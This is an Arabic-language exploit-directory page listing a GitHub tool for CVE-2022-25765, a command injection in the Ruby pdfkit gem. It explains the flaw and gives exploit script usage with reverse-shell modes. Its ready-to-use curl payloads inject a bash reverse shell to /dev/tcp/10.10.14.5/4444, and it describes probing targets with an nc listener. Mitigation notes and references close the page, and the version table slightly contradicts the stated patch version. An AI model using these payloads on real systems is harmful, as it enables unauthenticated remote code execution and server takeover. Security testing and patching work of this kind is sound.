Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-25765-exploit | Kitploit
أدوات/GitHubGitHub/jeanback1/cve-2022-25765-exploit
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرة
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-25765 — حقن الأوامر في pdfkit

الوصف

CVE-2022-25765 هي ثغرة حقن أوامر (Command Injection) تؤثر على pdfkit (جوهرة Ruby) في الإصدارات < 0.8.7.2. الثغرة ذات خطورة حرجة بتقييم CVSS 9.8، لأنها تسمح بتنفيذ أوامر عن بُعد دون مصادقة.

تكمن المشكلة في أن pdfkit يمرر معامل url مباشرةً إلى الصدفة دون تعقيم. تقوم المكتبة داخليًا بتنفيذ wkhtmltopdf بأمر مشابه لما يلي:

root@kitploit:~
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

إذا احتوى عنوان URL على %20 (مسافة بترميز URL) متبوعًا بـ backticks ` أو $()، فإن الصدفة تفسّر المحتوى كأمر وتنفذه.

CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


التفاصيل التقنية

السبب الجذري

الكود القابل للاستغلال في pdfkit (source.rb:44-50):

root@kitploit:~
def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

يتم إدراج عنوان URL مباشرةً في أمر الصدفة دون تعقيم. بإدراج %20 (مسافة)، يخرج المحتوى بعد المسافة من سياق معامل wkhtmltopdf، ويسمح \` أو $() بتنفيذ أوامر عشوائية.


الاستغلال

المؤلف الأصلي

UNICORDev (@NicPWNs و@Dev-Yeoj)

الاستغلال الأصلي متاح في:

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

المتطلبات

  • Python 3
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

الاستخدام

root@kitploit:~
# وضع الأمر المخصص (يولّد الحمولة)
python3 exploit-CVE-2022-25765.py -c "whoami"

# وضع الـ reverse shell (يولّد الحمولة)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# الوضع عبر الويب — إرسال الأمر مباشرة إلى الموقع الضعيف
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# الوضع عبر الويب — reverse shell مباشرة إلى الموقع الضعيف
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# المساعدة
python3 exploit-CVE-2022-25765.py -h

المعاملات

أمثلة على حمولات يدوية

root@kitploit:~
# الحقن عبر curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# أو باستخدام $() بدلًا من backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# أمر بسيط
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

التحديد

لمعرفة ما إذا كان الخادم ضعيفًا:

  1. أرسل عنوان URL مُتحكمًا به ولاحظ استدعاء HTTP المرتجع
  2. راجع بيانات تعريف PDF المُنشأ: Creator: pdfkit v0.8.6
root@kitploit:~
# إرسال عنوان URL واستقبال الاستدعاء
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# المستمع: nc -lnvp 4444
# إذا استلمت الطلب مع User-Agent: wkhtmltopdf، فإن التطبيق يحول PDFs

# التحقق من الإصدار في بيانات تعريف PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# ابحث عن: "Generated by pdfkit v0.8.6" (ضعيف)

التخفيف

  • تحديث pdfkit إلى الإصدار ≥ 0.8.7.2
  • إذا تعذّر التحديث، قم بتعقيم معامل url لإزالة الأحرف الخطرة (\`، $()، %20)
  • تنفيذ قائمة بيضاء لعناوين URL أو استخدام واجهة برمجية تابعة لجهة خارجية لتوليد ملفات PDF

المراجع

  • NVD — CVE-2022-25765
  • CVE-2022-25765 على GitHub
  • Exploit-DB #51293
  • Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
  • pdfkit على GitHub (الأصلي)
تنزيل الأداة
الحقلالقيمة
CVECVE-2022-25765
المنتجpdfkit (جوهرة Ruby)
الإصدارات المتأثرة0.0.0 – 0.8.7.2
النوعCommand Injection (CWE-78)
المصادقةغير مطلوبة
CVSS 3.19.8 CRITICAL
التصحيحpdfkit ≥ 0.8.7.2
المعاملالوصف
-cأمر مخصص
-s <IP> <PORT>وضع الـ reverse shell
-w <URL>عنوان URL للموقع الضعيف (اختياري)
-p <param>معامل POST (اختياري، الافتراضي: url)
-hالمساعدة